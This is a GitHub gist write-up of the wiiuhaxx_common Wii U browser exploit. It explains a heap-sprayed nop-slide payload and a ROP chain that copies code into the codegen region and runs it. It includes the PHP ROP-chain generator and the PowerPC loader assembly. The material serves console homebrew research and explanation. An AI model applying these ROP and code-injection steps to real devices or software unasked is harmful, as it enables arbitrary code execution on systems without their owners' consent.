Skip to content

Instantly share code, notes, and snippets.

@orboditilt
Last active March 1, 2022 01:07
Show Gist options
  • Save orboditilt/c4de45d284ba14bceef3d49b45312e52 to your computer and use it in GitHub Desktop.
Save orboditilt/c4de45d284ba14bceef3d49b45312e52 to your computer and use it in GitHub Desktop.
wiiuhaxx_common write up
Full ROP explanation!
At the beginning, we predict a address were our payload will be in the end.
We can trick a bit by using a nop slide, but the payload we want execute is statically linked so we need to get rid of the nops.
For this, we build a special payload, it consists of the folllowing parts
1. a bunch of nops to nop slide. Now we just need to have a good enough guess to not hit our real code.
2. the "wiiuhaxx_loader.s". To removes the nops.
3. the size of the "real" payload
4. the real payload.
At first, we spray this "special payload" on the heap, so the chances are high we actually hit a nop slide and make a prediction where our payload will land.
When get we ROP execution, we switch to Core 1 (the only one with access to codegen), and copy a chunk of memory from our "prediction" address to the codegen area (0x01800000) where it can be executed.
Before jumping to our "special payload" 0x01800000 we save a bunch a values in registers including:
r29 = our prediction address
r30 = offset where to jump back on the stack for further rop execution.
Now we jump to "0x01800000", and if everything has gone right, we landed in a nop slide, otherwise we simply crash.
Through we nop slide, we reach the code of "wiiuhaxx_loader.s".
This does the following things:
1. Calculate the position of the payload_size and real_payload.
2. Copy it to the prediction address (now our prediction comes true ! yay).
3. Continue our ROP.
Back to our ROP, we once again copy a chunk of memory from our prediction address to codegen. This time we can be sure is the real payload.
Jump to codegen and execute our real_payload.
PROFIT!
function generateropchain_type1()
{
global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN, $payload_size;
//$payload_size = 0x20000; is set globally
$codegen_addr = 0x01800000;
ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1.
ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size);
$regs = array();
$regs[24 - 24] = $ROP_OSFatal;//r24
$regs[25 - 24] = $ROP_Exit;//r25
$regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26
$regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27
$regs[28 - 24] = $ROP_os_snprintf;//r28
$regs[29 - 24] = $payload_srcaddr;//r29
$regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading.
$regs[31 - 24] = $ROPHEAP;//r31
ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase.
ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written.
//Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted.
ropchain_appendu32(0x0);
ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size);
ropgen_pop_r24_to_r31($regs);
ropchain_appendu32($codegen_addr);
}
# The actual start address of the code-binary loaded by the initial ROP isn't always at a fixed address / codegen+0. Load the binary from the end of this loader to codegen+0.
bl link0
link0:
# Calculate the position of the payload size and save it in r5
mflr r3 # move lr (= current address) to r3
li r4, (_end - link0) # Copy the size of this payload to r4. This way we know where our actual payload starts.
add r4, r4, r3 # r4 = addr of _end. r3 (= current address) + r4 (size of this payload)
# Get the actual payload size and save it r5
lwz r5, 0(r4) # r5 = u32 value at _end,
# Point r4 to the real_payload
addi r4,r4,4 # then increase r4 by 0x4 to point to the real payload.
# Get the predicted address (from r29) and save it in r3
mr r3, r29 # Move r29(=predicted payload adress) into r3
# Calculate the numbers of words to copy and save it in the counter register (payload_size>>2).
li r6, 2 # load 2 into r6
srw r5, r5, r6 # Shift Right Word. Shift r5 by r6 (2). To get the number of words (4 bytes each) to copy.
mtctr r5 # ctr reg = above u32 value >> 2. Put it into counter register.
# Copy the "real" payload to the predicted address. Now our prediction comes true!
copylp: # Copy the data from _end+4 with size *_end, to the address from r29 (which is now in r3).
lwz r5, 0(r4) # load from r4
stw r5, 0(r3) # write to r3
addi r4,r4,4
addi r3,r3,4 # increment both addresses
bdnz copylp #Decrement count register and branch if it becomes nonzero
# Continue our ROP to now copy the memory from "prediction address" to codegen. Now the prediction address holds ONLY our "real" payload.
add r1, r1, r30 # Jump to the code-loading ROP to load the codebin which was copied above. (add r30(=8) to r1(the stackpointer)
lwz r3, 4(r1) read load adress from r1 with offset 4 into r3
mtctr r3 # move r3 to count register
bctr # continue the rop.
_end:
# _end+4 holds the size of the real payload;
# After that the "real" payload will follow.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment